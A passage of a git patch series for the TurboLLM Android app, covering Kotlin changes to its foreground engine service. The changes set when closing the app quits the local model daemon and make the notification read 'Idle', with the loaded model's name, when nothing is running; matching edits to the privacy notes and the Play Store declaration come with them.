service: once the app was closed with something running, it stays until Quit or + // the next close with nothing running (appClosed), also once that work has ended, or the daemon's idle + // timer has unloaded the model. if (++polls % 20 == 0) DaemonLog.rotateIfLarge(filesDir) // about once a minute try { Thread.sleep(POLL_MS) @@ -347,11 +423,8 @@ class EngineService : Service() { } } - /** True while a chat, Code run, routine, API generation, model load, auto-tune or skill is in flight - * (queryActivity). A chat waiting for a tool approval is not. Any failure (daemon still booting) = idle. */ - private fun queryBusy(): Boolean = queryActivity()?.work != null - - /** What the daemon is doing (GET /api/v1/activity, see DaemonActivity), or null when it could not be read. */ + /** What the daemon is doing (GET /api/v1/activity, see DaemonActivity), or null when it could not be read: the poll + * reads that as idle, a close (anythingRuns) as something running. */ private fun queryActivity(): DaemonActivity? = try { val conn = DaemonAuth.open("/api/v1/activity") conn.connectTimeout = 1000 @@ -361,8 +434,11 @@ class EngineService : Service() { null } else { // Parsed, not string-matched: any shape this does not recognise reads as idle, so a format change - // can never pin the wake lock on with the screen off. - daemonActivity(JSONObject(conn.inputStream.bufferedReader().use { it.readText() })) + // can never pin the wake lock on with the screen off. A reply with no `items` list is not the + // daemon's: unreadable, so a close does not take it for nothing running. + JSONObject(conn.inputStream.bufferedReader().use { it.readText() }) + .takeIf { it.optJSONArray("items") != null } + ?.let(::daemonActivity) } } finally { conn.disconnect() @@ -371,37 +447,25 @@ class EngineService : Service() { null } - /** True while the daemon holds a model: the primary engine loading, running or still stopping (`engine.state` - * starting, running or stopping), or any model alive in a pool slot beside it, such as an embedding model or a - * Jev or Laya model, all from GET /api/v1/status. `poolModels` counts those slots (running, starting or - * stopping); a daemon from before TurboLLM#287 leaves it out, which reads as 0, and names only a Jev or Laya model - * (`jev`, `laya`), so those are still read. An engine in `error` holds nothing. Any failure reads as not loaded, - * as the work checks read it as idle: a daemon that no longer answers has nothing to keep, and a stop needs two - * readings to agree, stopNow's before and after the flush (appClosed calls stopNow at once when nothing is busy; - * when the poll starts the stop, its own reading comes first). */ - private fun queryLoaded(): Boolean = try { + /** Whether GET /api/v1/status shows something running (statusRuns), or null when the status could not be read, + * which a close (anythingRuns) counts as running: it never quits the daemon on a guess. */ + private fun queryStatus(): Boolean? = try { val conn = DaemonAuth.open("/api/v1/status") conn.connectTimeout = 1000 conn.readTimeout = 2000 try { if (conn.responseCode != 200) { - false + null } else { - val json = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }) - json.optJSONObject("engine")?.optString("state") in LOADED_STATES || json.optInt("poolModels") > 0 || - json.optJSONObject("jev") != null || json.optJSONObject("laya") != null + statusRuns(JSONObject(conn.inputStream.bufferedReader().use { it.readText() })) } } finally { conn.disconnect() } } catch (_: Exception) { - false + null } - /** True while the daemon has a model download running or queued (GET /api/v1/downloads). Any failure = idle, as - * above; a paused or failed download does not count, as nothing is transferring. */ - private fun queryDownloading(): Boolean = !queryDownloads().isNullOrEmpty() - /** The daemon's running and queued model downloads (parseLiveDownloads), or null when the list could not be read * (the daemon still booting, a reply this does not recognise). */ private fun queryDownloads(): List? = try { @@ -480,7 +544,7 @@ class EngineService : Service() { companion object { /** The number of the newest MainActivity instance (activityOpened), so a close from an older one is ignored - * (see ACTION_ACTIVITY_FINISHED). Set on the main thread, read by the stop thread too. */ + * (see ACTION_ACTIVITY_FINISHED). Set on the main thread, read by the close thread too. */ @Volatile private var newestActivity = 0 /** MainActivity.onCreate: this activity's number, to hand back to activityFinished. */ @@ -494,10 +558,16 @@ class EngineService : Service() { }.onFailure { Log.w(TAG, "could not reach the engine service", it) } } + /** How many times the app came on screen (repostNotification), so a Quit is called off when the app is brought + * back during its hold, also without a new activity (left with Home, not closed): see quit. Set on the main + * thread, read by the Quit's thread too. */ + @Volatile private var appShown = 0 + /** The app came on screen: post the notification again (ACTION_REPOST). One dropped while notifications were * off then shows as soon as the user allows them, at the first-launch prompt or in Settings, since Android * re-posts nothing on a grant and returning to the app (singleTask, no recreation) does not run start(). */ fun repostNotification(context: Context) { + appShown++ runCatching { context.startService(Intent(context, EngineService::class.java).setAction(ACTION_REPOST)) }.onFailure { Log.w(TAG, "could not reach the engine service", it) } @@ -516,6 +586,30 @@ class EngineService : Service() { * (the daemon lists those chats under `waiting`, not `items`). */ private class DaemonActivity(val work: String?, val waiting: Boolean) +/** What GET /api/v1/status counts as running (see anythingRuns). A model is loaded while the primary engine is + * loading, running or still stopping (`engine.state` starting, running or stopping), or any model is alive in a pool + * slot beside it, such as an embedding model or a Jev or Laya model. `poolModels` counts those slots (running, + * starting or stopping); a daemon from before TurboLLM#287 leaves it out, which reads as 0, and names only a Jev or + * Laya model (`jev`, `laya`), so those are still read. An engine in `error` holds nothing. A server feature on counts + * too (daemonServes). Null for a reply with no `engine`, which is not the daemon's status: unreadable. */ +private fun statusRuns(json: JSONObject): Boolean? { + val engine = json.optJSONObject("engine") ?: return null + return engine.optString("state") in LOADED_STATES || json.optInt("poolModels") > 0 || + json.optJSONObject("jev") != null || json.optJSONObject("laya") != null || daemonServes(json) +} + +/** A server feature is on (`serving` in GET /api/v1/status, TurboLLM's serving-status.ts): the daemon listens beyond + * loopback (`lan`, LAN access), remote access is up or coming up (`remote`: a tunnel, Tailscale Serve or Funnel), or + * it hosts Turbo Link peers (`linkPeers`, the link tokens it minted for other machines). Quitting would cut off the + * devices using it, so a close keeps the daemon up. A daemon from before that field leaves it out, which reads as + * nothing served, as does a `serving` that is not an object, a `lan` or `remote` that is not a boolean and a + * `linkPeers` that is not a number: only the daemon's own true or count says something is served. */ +private fun daemonServes(json: JSONObject): Boolean { + val serving = json.optJSONObject("serving") ?: return false + return serving.opt("lan") == true || serving.opt("remote") == true || + ((serving.opt("linkPeers") as? Number)?.toDouble() ?: 0.0) > 0 +} + /** The work line comes from the items' `kind`. A model load is named first: nothing generates on that model until it * is loaded, and a chat waiting for it is listed too. Then an auto-tune, which runs the engine itself. A chat, Code * run or routine is "Generating", and so is a kind this does not know, or an item that is not an object, so new work diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index c89f71b..ec7542c 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -46,6 +46,8 @@ class MainActivity : ComponentActivity() { private lateinit var storageAccess: StorageAccess /** From EngineService.activityOpened: the service ignores this activity's close once a newer one is open. */ private var activityNumber = 0 + /** Set by finish(), so onDestroy tells Back from a swipe from Recents. */ + private var finishedByBack = false /** The system file picker for importing models (ModelImport). Any type: .gguf and .litertlm have no MIME type * providers agree on, so ModelImport checks the name instead. */ @@ -69,7 +71,8 @@ class MainActivity : ComponentActivity() { ) super.onCreate(savedInstanceState) recordCrashes() - // First, so a stop the service began on the last Back sees at once that the app is open again (stopNow). + // First, so a close the service is deciding on the last Back sees at once that the app is open again and + // quits nothing (EngineService.appClosed). activityNumber = EngineService.activityOpened() // The daemon ships inside the APK and is unpacked here, so a Play Store install needs @@ -151,10 +154,22 @@ class MainActivity : ComponentActivity() { super.onPause() } + /** Called only for Back: DaemonWebView's BackHandlers call it, and before Android 12 so does the system's own Back + * while none is composed (the splash), through onBackPressed and finishAfterTransition; from Android 12 that Back + * moves the task to the back instead, which is no close. A swipe from Recents finishes the activity too, but from + * the system's side, without calling this. */ + override fun finish() { + finishedByBack = true + super.finish() + } + override fun onDestroy() { - // Back, not a configuration change (those no longer recreate the activity, see the manifest). + // Back, not a configuration change (those no longer recreate the activity, see the manifest), and not a swipe + // from Recents: the service hears that one as onTaskRemoved. Sent for a swipe too, it was a second close of + // the same swipe, decided afresh a moment later, so a swipe with a reply running quit the app if the reply + // ended in between (EngineService.appClosed). // Android may run this only after the app was opened again, a new MainActivity included (activityNumber). - if (isFinishing) EngineService.activityFinished(this, activityNumber) + if (isFinishing && finishedByBack) EngineService.activityFinished(this, activityNumber) super.onDestroy() } diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index cf2b623..035b264 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -51,10 +51,10 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti `DaemonAuth.kt` makes the app's other calls to it: the check that the daemon proves itself before the app sends its secret, and the authenticated requests from `EngineService.kt` (activity, downloads, status, and the request to write the chat database to disk before - Quit and before the service stops), `ModelImport.kt` (adding the imported-models folder) and - `StorageAccess.kt` (rescan). (`DaemonClient.kt` in `commonMain` points at - `127.0.0.1:6996`; it is unused Spike A code that only the old `App()` screen, which the - Android app never shows, constructs.) The web UI in that WebView goes further, though: it + Quit and before a close with nothing running ends the app), `ModelImport.kt` (adding the + imported-models folder) and `StorageAccess.kt` (rescan). (`DaemonClient.kt` in `commonMain` + points at `127.0.0.1:6996`; it is unused Spike A code that only the old `App()` screen, which + the Android app never shows, constructs.) The web UI in that WebView goes further, though: it loads the images its pages point at from any https host, and from any host over plain http on port 80. The daemon's CSP for the app allows that on purpose (`APP_SECRET_CSP` in its `server.ts`: images and media from `'self'`, any `https:` host, @@ -95,10 +95,19 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti - `INTERNET` — the above network use. - `FOREGROUND_SERVICE` and `FOREGROUND_SERVICE_SPECIAL_USE` — `EngineService`, a foreground service of type `specialUse` that keeps the daemon, the engines and a loaded model running - while the app is in the background. It starts when the app is opened and runs until Quit in - its notification (or, with notifications off, until the app is left with no model loaded and - nothing generating, importing or downloading). `PLAY-FGS-DECLARATION.md` has the text for - Play's declaration. + while the app is in the background. It starts when the app is opened and runs until Quit in its + notification, or until the app is closed (Back from its main screen, or swiped away from + Recents) with nothing running: no model loaded or loading, nothing generating, importing or + downloading, no reply waiting for an approval, no routine running, and no LAN access, remote + access or Turbo Link for other devices on. That close ends the app's process about 3 seconds + later, as Quit does (Quit too waits those 3 seconds), whether notifications are on or off; + opening the app again within them, or after Quit bringing it back on screen, keeps it running. + Closed with something running, the service keeps running after that work ends or that access is + turned off, until Quit or a later close with nothing running (opening the app and closing it + again, or swiping away the card a Back left in Recents); with notifications off there is no + Quit, and on Android 13+ the system's list of active apps can stop it. Routines only scheduled + for later do not count as running: a close with nothing running stops the routine scheduler + with the app. `PLAY-FGS-DECLARATION.md` has the text for Play's declaration. - `POST_NOTIFICATIONS` — that service's ongoing notification, which carries the Quit action and the "phone is hot" warning. On Android 13+ the app asks for it each time it starts until it is granted; Android stops showing the prompt once the user has declined it twice. The service @@ -177,14 +186,13 @@ When the cloud backup actually runs: Android's scheduled Auto Backup takes an ap day, and by default only while the phone is idle, charging and on Wi-Fi (any unmetered network, or mobile data if the user allowed it). It also passes over an app that counts as in the foreground, and an app running a foreground service does. `EngineService` is one, and it runs from the moment -the app is opened until Quit (with notifications off, until the app is left with no model loaded -and nothing generating, importing or downloading), so while it runs Android puts TurboLLM's -backup off and tries again 1 to 3 hours later. A phone that keeps the app open day and night can -go a long time without a new TurboLLM backup; one is taken on a night the app is not running, -after Quit, a reboot, or Android ending the process. Excluding the models only keeps a backup -that does run under the 25 MB quota. `android:backupInForeground="true"` would remove the wait, -but Android stops the app to back it up, which would unload the model and cut off a reply, so it -is not set. +the app is opened until Quit or until the app is closed with nothing running, so while it runs +Android puts TurboLLM's backup off and tries again 1 to 3 hours later. A phone that keeps the app +open day and night can go a long time without a new TurboLLM backup; one is taken on a night the +app is not running, after Quit or such a close, a reboot, or Android ending the process. +Excluding the models only keeps a backup that does run under the 25 MB quota. +`android:backupInForeground="true"` would remove the wait, but Android stops the app to back it +up, which would unload the model and cut off a reply, so it is not set. `config.json` also holds, in plaintext, every third-party credential the user has entered: the Hugging Face and GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi From 9f48ceaf51de2d95cf8e8e647e36037e2ebd966f Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 22 Oct 2026 16:38:02 +0000 Subject: [PATCH 61/80] fix(android): the notification says Idle when nothing runs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit With nothing in progress the engine notification read "Running in the background", whether a model was loaded or not, and when the phone was hot "Running. The phone is hot, so generation will be slower". Since fix(android): closing the app with nothing running quits it fully, the service stays after a close with something running until the user taps Quit, also once that work has ended or LAN access, remote access or Turbo Link has been turned off. The notification then has to say that nothing runs any more, and which model, if any, still holds memory, so the user can tell whether Quit would cut anything short. It did not: "Running" read as work still going on. Older bug: origin/main has the same idle lines. EngineService.kt: - With no work in progress (no items, no engineGenerating), no import, no download and no reply waiting for an approval, the line is "Idle", or "Idle · " while a model is loaded (the system ellipsizes a long name). The name is the primary engine's model while it holds one, else the Jev or Laya model, from GET /api/v1/status. An embedding model alone in a pool slot has no name there and reads "Idle". So does a daemon kept only by a server feature (`serving`). Hot, the line is "Idle. The phone is hot, so generation will be slower", without the name, which would push the warning out of the one line the shade shows. - The poll reads the status only while nothing runs, so it adds no request during work, and keeps the last name when the status cannot be read, so a slow answer does not drop it for a poll. The name is one more thing the notification shows: it is posted again when the name changes, as for the other lines. buildNotification reads it once, as it reads `work` and `download`, so the poll clearing it between two reads cannot show "Idle · null". - A poll that cannot read GET /api/v1/activity (no answer within 2 s while the daemon is busy mid-reply, a 500, a malformed reply) keeps the last work or approval line for up to three polls in a row (ACTIVITY_MISSES), as the download lines already do. It read as idle, so the line would have said "Idle" for that poll during a reply, while a close at that moment counts the unreadable reply as something running. The wake lock still reads such a poll as idle, as before. A daemon that cannot be read for longer reads "Idle" again, while a close still counts it as running. - queryStatus() returns a StatusReading, and its parsing statusRuns() becomes statusReading(), which also reads the name; the close reads `runs` from it as before (a model held or a server feature on). - The work lines, the approval line, the import and download lines, the hot work lines and the wake lock are otherwise unchanged. - PLAY-FGS-DECLARATION.md quotes the new lines and says which model is named: the chat model, or a text classification model (Jev or Laya) while no chat model is loaded; an embedding model alone is not. Its video script ends on "Idle · " and the model's name without spelling the name out: the status gives the GGUF's own name, or one made from the file name, which need not read "Qwen2.5-0.5B-Instruct" for the model the script suggests. Behaviour change: the notification reads "Idle" or "Idle · " while nothing runs, and "Idle. The phone is hot, so generation will be slower" when the phone is hot, instead of "Running in the background" and "Running. The phone is hot, so generation will be slower". A poll that cannot read the daemon's activity keeps the last work or approval line for up to three polls (about 9 s), where it read idle at once. The declaration text Play reviews changes again: paste it into the Play Console declaration again. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt and the scripted daemon of fix(android): leaving the app no longer unloads the model, one poll per step. Before the fix every idle step read "Running in the background" (or the hot line). After it: nothing loaded, a primary still stopping with no model, an engine in error, only an embedding model in a pool slot, a model whose name is null or blank read "Idle"; a loaded model "Idle · Qwen2.5-0.5B-Instruct", a long name in full, only a Jev or Laya model "Idle · J" and "Idle · L"; an unreadable status (failed, 500) keeps the name; the idle timer unloading the model reads "Idle"; hot and idle, with or without a model, "Idle. The phone is hot, so generation will be slower". Chat, load, tune, skill, engineGenerating, an approval wait, the hot work lines, an import and a running or queued download read as before, with the wake lock as before, and the status is not read during any of them. The activity answering 500, a malformed reply or a read that times out during a reply keeps "Generating" (and during an approval wait "Waiting for your approval") for three polls, the fourth reads "Idle · Qwen2.5-0.5B-Instruct", with the wake lock released from the first, as before, and no status read during them; without that part of the fix each of those polls read "Idle · Qwen2.5-0.5B-Instruct". An activity that was never read yet gives the idle line. The end of an import, a download or a reply posts once, "Idle · Qwen2.5-0.5B-Instruct". A swipe during a download keeps the service, which reads "Idle" once the download ends, and Quit ends it 3 s later; Back with a model loaded reads "Idle · Qwen2.5-0.5B-Instruct", then "Idle" once the idle timer unloads it, still in the foreground. Back with only LAN access on reads "Idle", with a model then loaded by an API client "Idle · Qwen2.5-0.5B-Instruct", and with only remote access up after that model is unloaded "Idle" again. The cases of fix(android): closing the app with nothing running quits it fully, and the Quit cases of fix(android): Quit writes the chat database to disk before the app exits, give the same results; the notification cases of fix(android): the notification says what is running differ only in the idle lines. compileDebugKotlinAndroid passes. Not run on a device. Device check, with the notification on: with no model loaded the shade reads "Idle"; load a model: "Idle · "; swipe the app from Recents during a download: the notification stays, reads "Idle" after the download ends, and Quit ends the app about 3 s later (adb shell pidof com.turbollm prints nothing). --- PLAY-FGS-DECLARATION.md | 60 ++++++++------- .../kotlin/com/turbollm/app/EngineService.kt | 76 ++++++++++++++----- 2 files changed, 90 insertions(+), 46 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index adcee12..c57bdb7 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -68,31 +68,33 @@ daemon takes longer to answer, right after it does. > From the moment the app is opened, a low-importance ongoing notification titled "TurboLLM", with a **Quit** action > that stops the service, unloads the model and closes the app, about 3 seconds after the tap. On Android 14 and > later, where the user can swipe this notification away, it is posted again at once, so Quit stays reachable. Its -> text says what is happening: "Running in the background" while idle, "Generating" while a reply is being written, -> "Loading a model", "Auto-tuning" or "Writing a skill" while the app does one of those, "Waiting for your approval" -> while a reply waits for the user to allow a tool call, "Importing models" during an import, the progress while a -> model download is running or queued (the file's name as the title, or "Downloading models" for several, how much has -> arrived and how fast, and a progress bar), and, when the phone is thermally throttled, "Running. The phone is hot, -> so generation will be slower" or what is running followed by "The phone is hot, so it is throttling speed" (for -> example "Generating. The phone is hot, so it is throttling speed"). Leaving the app never unloads the model by -> itself: the user does, in the app or with Quit, or the app's idle timer does once the model has gone unused for a -> while (60 minutes by default; the user can change it or turn it off in Settings). Closing the app (Back from its -> main screen, or swiping it away from Recents; pressing Home does not close it) with nothing running works as Quit -> does, whether notifications are on or off: about 3 seconds later the service stops and the app's process ends. -> Opening the app again within those 3 seconds, after Quit or such a close, keeps it running, as does the app coming -> back on screen after Quit (for example the phone unlocked onto it). Nothing is running when no model is loaded or -> loading (any model, an embedding model included), nothing is being generated, imported or downloaded (a paused or -> failed download does not count), no reply waits for the user's approval, no routine is running, and no access from -> other devices is on: LAN access, remote access (a tunnel, Tailscale Serve or Funnel), or Turbo Link letting other -> devices use this phone's models; when the app gets no answer from the daemon, or one it cannot read, it counts as -> running. Closed with something running, the app keeps the service, also after that work has ended, after the idle -> timer has unloaded the model and after that access has been turned off, until the user taps Quit or closes the app -> again with nothing running (after opening it, or by swiping away the card it left in Recents). A routine only -> scheduled for later does not count as running: such a close stops the routine scheduler with the app, until the app -> is opened again. If the user has turned notifications off (or the notification's channel), there is no Quit to tap: -> on Android 13 and later the system's list of active apps can still stop the app, and closing it again with nothing -> running quits. A partial wake lock is held only while a reply is being generated, a model being loaded, auto-tuned, -> imported or downloaded, or a skill written, never while idle or while a reply waits for the user's approval. +> text says what is happening: "Idle" while no work is in progress, or "Idle · " and the model's name while a model is +> loaded (the chat model's name, or a text classification model's while no chat model is loaded; an embedding model +> loaded alone is not named), "Generating" while a reply is being written, "Loading a model", "Auto-tuning" or +> "Writing a skill" while the app does one of those, "Waiting for your approval" while a reply waits for the user to +> allow a tool call, "Importing models" during an import, the progress while a model download is running or queued +> (the file's name as the title, or "Downloading models" for several, how much has arrived and how fast, and a +> progress bar), and, when the phone is thermally throttled, "Idle. The phone is hot, so generation will be slower" or +> what is running followed by "The phone is hot, so it is throttling speed" (for example "Generating. The phone is +> hot, so it is throttling speed"). Leaving the app never unloads the model by itself: the user does, in the app or +> with Quit, or the app's idle timer does once the model has gone unused for a while (60 minutes by default; the user +> can change it or turn it off in Settings). Closing the app (Back from its main screen, or swiping it away from +> Recents; pressing Home does not close it) with nothing running works as Quit does, whether notifications are on or +> off: about 3 seconds later the service stops and the app's process ends. Opening the app again within those 3 +> seconds, after Quit or such a close, keeps it running, as does the app coming back on screen after Quit (for example +> the phone unlocked onto it). Nothing is running when no model is loaded or loading (any model, an embedding model +> included), nothing is being generated, imported or downloaded (a paused or failed download does not count), no reply +> waits for the user's approval, no routine is running, and no access from other devices is on: LAN access, remote +> access (a tunnel, Tailscale Serve or Funnel), or Turbo Link letting other devices use this phone's models; when the +> app gets no answer from the daemon, or one it cannot read, it counts as running. Closed with something running, the +> app keeps the service, also after that work has ended, after the idle timer has unloaded the model and after that +> access has been turned off, until the user taps Quit or closes the app again with nothing running (after opening it, +> or by swiping away the card it left in Recents). A routine only scheduled for later does not count as running: such +> a close stops the routine scheduler with the app, until the app is opened again. If the user has turned +> notifications off (or the notification's channel), there is no Quit to tap: on Android 13 and later the system's +> list of active apps can still stop the app, and closing it again with nothing running quits. A partial wake lock is +> held only while a reply is being generated, a model being loaded, auto-tuned, imported or downloaded, or a skill +> written, never while idle or while a reply waits for the user's approval. **Why does no other foreground service type fit?** @@ -123,10 +125,10 @@ a small model, so the first load is quick and the reply visibly continues. 4. **0:20** Press Home and open another app (for example Settings) for about 10 seconds. 5. **0:30** Return to TurboLLM. The reply has kept growing while the app was in the background, and is complete or nearly so. -6. **0:38** Pull down the shade again. The notification now reads "Running in the background": - the model stays loaded, ready for the next message, which is what the service is for. - Tap **Quit**. About 3 seconds later the notification disappears and the app closes, freeing - the model. +6. **0:38** Pull down the shade again. The notification now reads "Idle · " followed by the + model's name: the reply is done, and the model stays loaded, ready for the next message, + which is what the service is for. Tap **Quit**. About 3 seconds later the notification + disappears and the app closes, freeing the model. Upload the video unlisted (for example on YouTube) and paste the link into the declaration. diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index ffa33e8..83cb9b6 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -29,6 +29,9 @@ private const val EXTRA_ACTIVITY = "com.turbollm.app.ACTIVITY" private const val POLL_MS = 3000L /** How many polls in a row may fail to read the download list before the notification drops its last progress. */ private const val DOWNLOAD_MISSES = 3 +/** How many polls in a row may fail to read the activity before the notification drops its last work or approval + * line. */ +private const val ACTIVITY_MISSES = 3 /** The longest the daemon is given to write its database before the process ends (flushDatabase). */ private const val FLUSH_WAIT_MS = 2000L /** How long a close made while the daemon gives no proof (still starting, mostly) waits for it before it is decided @@ -42,7 +45,7 @@ private const val BOOT_POLL_MS = 500L * change: WebView turns on Chromium's aggressive DOM storage flushing, whose commit delay is 1 s, and a change made * while a commit is under way waits for that one first. Nothing writes it when the process is killed. */ private const val CLOSE_HOLD_MS = 3000L -/** The primary engine states in which it holds a model (the daemon's manager.ts State): see statusRuns. */ +/** The primary engine states in which it holds a model (the daemon's manager.ts State): see statusReading. */ private val LOADED_STATES = setOf("starting", "running", "stopping") /** Keeps the daemon and its engine processes running while the app is not on screen. @@ -73,12 +76,17 @@ class EngineService : Service() { /** A chat waits for the user to answer a tool approval (DaemonActivity.waiting): named in the notification, not * work, so no wake lock is held for it. */ @Volatile private var waiting = false + /** The loaded model's name (StatusReading.name), which the notification names while nothing runs; null while no + * model is loaded or the loaded one has no name in the status. Read by the poll only while nothing runs. */ + @Volatile private var model: String? = null @Volatile private var importing = false /** What the notification shows while a model download is running or queued (downloadNotice), null while none * is. Written by the poll, read wherever the notification is built. */ @Volatile private var download: DownloadNotice? = null /** Polls in a row that could not read the download list (see pollActivity). Poll thread only. */ private var downloadMisses = 0 + /** Polls in a row that could not read the activity (see pollActivity). Poll thread only. */ + private var activityMisses = 0 @Volatile private var thermal = 0 /** The newest plain start request (EngineService.start, from MainActivity.onCreate), so a close quits only if no * start arrived after it (see appClosed). A close, a repost and Quit do not count: a repost (the notification @@ -337,7 +345,7 @@ class EngineService : Service() { val activity = queryActivity() ?: return true if (activity.work != null || activity.waiting) return true if (queryDownloads()?.isEmpty() != true) return true - return queryStatus() != false + return queryStatus()?.runs != false } /** Ask the daemon to write its chat database to disk now (POST /api/v1/daemon/flush), waiting at most @@ -376,9 +384,24 @@ class EngineService : Service() { val downloads = queryDownloads() val downloading = !downloads.isNullOrEmpty() val activity = queryActivity() - val work = activity?.work - val waiting = activity?.waiting == true - val nowBusy = work != null || importing || downloading + // A poll that could not read the activity keeps its last work or approval line up for up to + // ACTIVITY_MISSES polls in a row, as the download lines do below: the daemon can be slow to answer for a + // moment mid-reply, and the line read "Idle" for that poll, while a close then counts the unreadable + // reply as something running. It still counts as idle for the wake lock, as before, so a daemon that + // stops answering never pins it. Only this thread writes `work` and `waiting`, so they are read here + // without the lock. + val shown = when { + activity != null -> activity.also { activityMisses = 0 } + ++activityMisses <= ACTIVITY_MISSES -> DaemonActivity(this.work, this.waiting) + else -> null + } + val work = shown?.work + val waiting = shown?.waiting == true + val nowBusy = activity?.work != null || importing || downloading + // The loaded model's name, for the line shown while nothing runs: asked only then, and kept from the last + // reading when the status cannot be read, so a slow answer does not drop the name for 3 s. + val status = if (work == null && !importing && !downloading && !waiting) queryStatus() else null + val model = if (status != null) status.name else this.model // The query can take seconds. Under the lock, so the service being destroyed meanwhile is seen before the // wake lock is re-taken or a removed notification is posted again. synchronized(stateLock) { @@ -398,11 +421,12 @@ class EngineService : Service() { // changed. Posted after each change, it showed the state in between: "Generating" for a moment at the // end of every download or import, with the download gone and the busy state not yet updated. val changed = importing != this.importing || download != this.download || work != this.work || - waiting != this.waiting + waiting != this.waiting || model != this.model this.importing = importing this.download = download this.work = work this.waiting = waiting + this.model = model if (nowBusy != busy) { busy = nowBusy if (nowBusy) wakeLock?.acquire(30 * 60 * 1000L) else releaseWakeLock() @@ -424,7 +448,8 @@ class EngineService : Service() { } /** What the daemon is doing (GET /api/v1/activity, see DaemonActivity), or null when it could not be read: the poll - * reads that as idle, a close (anythingRuns) as something running. */ + * reads that as idle for the wake lock and keeps its last line for a few polls, a close (anythingRuns) counts it + * as something running. */ private fun queryActivity(): DaemonActivity? = try { val conn = DaemonAuth.open("/api/v1/activity") conn.connectTimeout = 1000 @@ -447,9 +472,9 @@ class EngineService : Service() { null } - /** Whether GET /api/v1/status shows something running (statusRuns), or null when the status could not be read, - * which a close (anythingRuns) counts as running: it never quits the daemon on a guess. */ - private fun queryStatus(): Boolean? = try { + /** What GET /api/v1/status says (see statusReading), or null when the status could not be read, which a close + * (anythingRuns) counts as running: it never quits the daemon on a guess. */ + private fun queryStatus(): StatusReading? = try { val conn = DaemonAuth.open("/api/v1/status") conn.connectTimeout = 1000 conn.readTimeout = 2000 @@ -457,7 +482,7 @@ class EngineService : Service() { if (conn.responseCode != 200) { null } else { - statusRuns(JSONObject(conn.inputStream.bufferedReader().use { it.readText() })) + statusReading(JSONObject(conn.inputStream.bufferedReader().use { it.readText() })) } } finally { conn.disconnect() @@ -513,6 +538,7 @@ class EngineService : Service() { // A download names its file (or the count) and shows its progress, unless an import, named first, is running. val download = this.download?.takeUnless { importing } val work = this.work + val model = this.model val text = when { importing -> "Importing models" download != null -> download.text @@ -521,8 +547,12 @@ class EngineService : Service() { // A reply parked on a tool approval waits for the user, in the app, not for the phone: say so. It holds // no wake lock (see DaemonActivity). waiting -> "Waiting for your approval" - hot -> "Running. The phone is hot, so generation will be slower" - else -> "Running in the background" + // Nothing runs: "Idle", with the model still loaded, if any, by name (the system ellipsizes a long one). + // It read "Running in the background", which did not say whether anything was. Hot, the warning takes + // the line, as a long name would push it out of the one line the shade shows. + hot -> "Idle. The phone is hot, so generation will be slower" + model != null -> "Idle · $model" + else -> "Idle" } return NotificationCompat.Builder(this, CHANNEL_ID) .setSmallIcon(R.drawable.ic_stat_engine) @@ -586,16 +616,28 @@ class EngineService : Service() { * (the daemon lists those chats under `waiting`, not `items`). */ private class DaemonActivity(val work: String?, val waiting: Boolean) +/** What GET /api/v1/status says. [runs]: something runs there, a model held or a server feature on (statusReading). + * [name]: the model the notification names while nothing runs, null when none is loaded or the loaded one is only + * an embedding model in a pool slot, which the status does not name. */ +private class StatusReading(val runs: Boolean, val name: String?) + /** What GET /api/v1/status counts as running (see anythingRuns). A model is loaded while the primary engine is * loading, running or still stopping (`engine.state` starting, running or stopping), or any model is alive in a pool * slot beside it, such as an embedding model or a Jev or Laya model. `poolModels` counts those slots (running, * starting or stopping); a daemon from before TurboLLM#287 leaves it out, which reads as 0, and names only a Jev or * Laya model (`jev`, `laya`), so those are still read. An engine in `error` holds nothing. A server feature on counts - * too (daemonServes). Null for a reply with no `engine`, which is not the daemon's status: unreadable. */ -private fun statusRuns(json: JSONObject): Boolean? { + * too (daemonServes). The name is the primary's model while it holds one, else the Jev or Laya model's. Null for a + * reply with no `engine`, which is not the daemon's status: unreadable. */ +private fun statusReading(json: JSONObject): StatusReading? { val engine = json.optJSONObject("engine") ?: return null - return engine.optString("state") in LOADED_STATES || json.optInt("poolModels") > 0 || - json.optJSONObject("jev") != null || json.optJSONObject("laya") != null || daemonServes(json) + val primary = engine.optString("state") in LOADED_STATES + val jev = json.optJSONObject("jev") + val laya = json.optJSONObject("laya") + val loaded = primary || json.optInt("poolModels") > 0 || jev != null || laya != null + // opt, not optString: optString reads a JSON null as the text "null". + val name = listOfNotNull(json.optJSONObject("model")?.takeIf { primary }, jev, laya) + .firstNotNullOfOrNull { (it.opt("name") as? String)?.takeIf(String::isNotBlank) } + return StatusReading(loaded || daemonServes(json), name) } /** A server feature is on (`serving` in GET /api/v1/status, TurboLLM's serving-status.ts): the daemon listens beyond From d82ca36be90e70b6efd120b42fc21b94870dded3 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 22 Oct 2026 18:13:26 +0000 Subject: [PATCH 62/80] fix(android): an engine dies with the app process, by the kernel The engines the daemon starts in the app (llama_server, the Vulkan engine, litertlm_server) had no tie of their own to the app process. The daemon spawns them as ordinary children, so when the app process ends without the 